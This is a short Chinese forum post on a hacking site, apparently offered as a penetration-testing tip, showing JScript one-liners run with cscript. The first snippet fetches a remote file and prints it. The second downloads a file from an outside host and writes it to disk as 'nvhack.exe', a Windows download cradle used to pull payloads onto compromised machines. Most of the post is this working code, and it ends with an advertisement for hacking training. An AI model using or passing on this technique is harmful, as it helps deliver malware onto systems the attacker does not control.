找回密码
 立即注册

扫一扫,访问微社区

QQ登录

只需一步,快速开始

搜索

JS一句话 csript

nvhack 2019-7-14 11:42:47 显示全部楼层 阅读模式
0x01,远程读取文件
cscript /nologo down.js https://www.xss.tv/baidu.txt
附上down.js代码

  1. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  2. WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);
  3. WinHttpReq.Send();
  4. WScript.Echo(WinHttpReq.ResponseText);
复制代码

0x02,写入文件
cscript /nologo down.js https://www.xss.tv/baidu.txt
附上down.js代码
  1. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  2. WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false);
  3. WinHttpReq.Send();
  4. BinStream = new ActiveXObject("ADODB.Stream");
  5. BinStream.Type = 1;
  6. BinStream.Open();
  7. BinStream.Write(WinHttpReq.ResponseBody);
  8. BinStream.SaveToFile("nvhack.exe");
复制代码




必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:18622800700,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

  • 0 关注
  • 2 粉丝
  • 129 帖子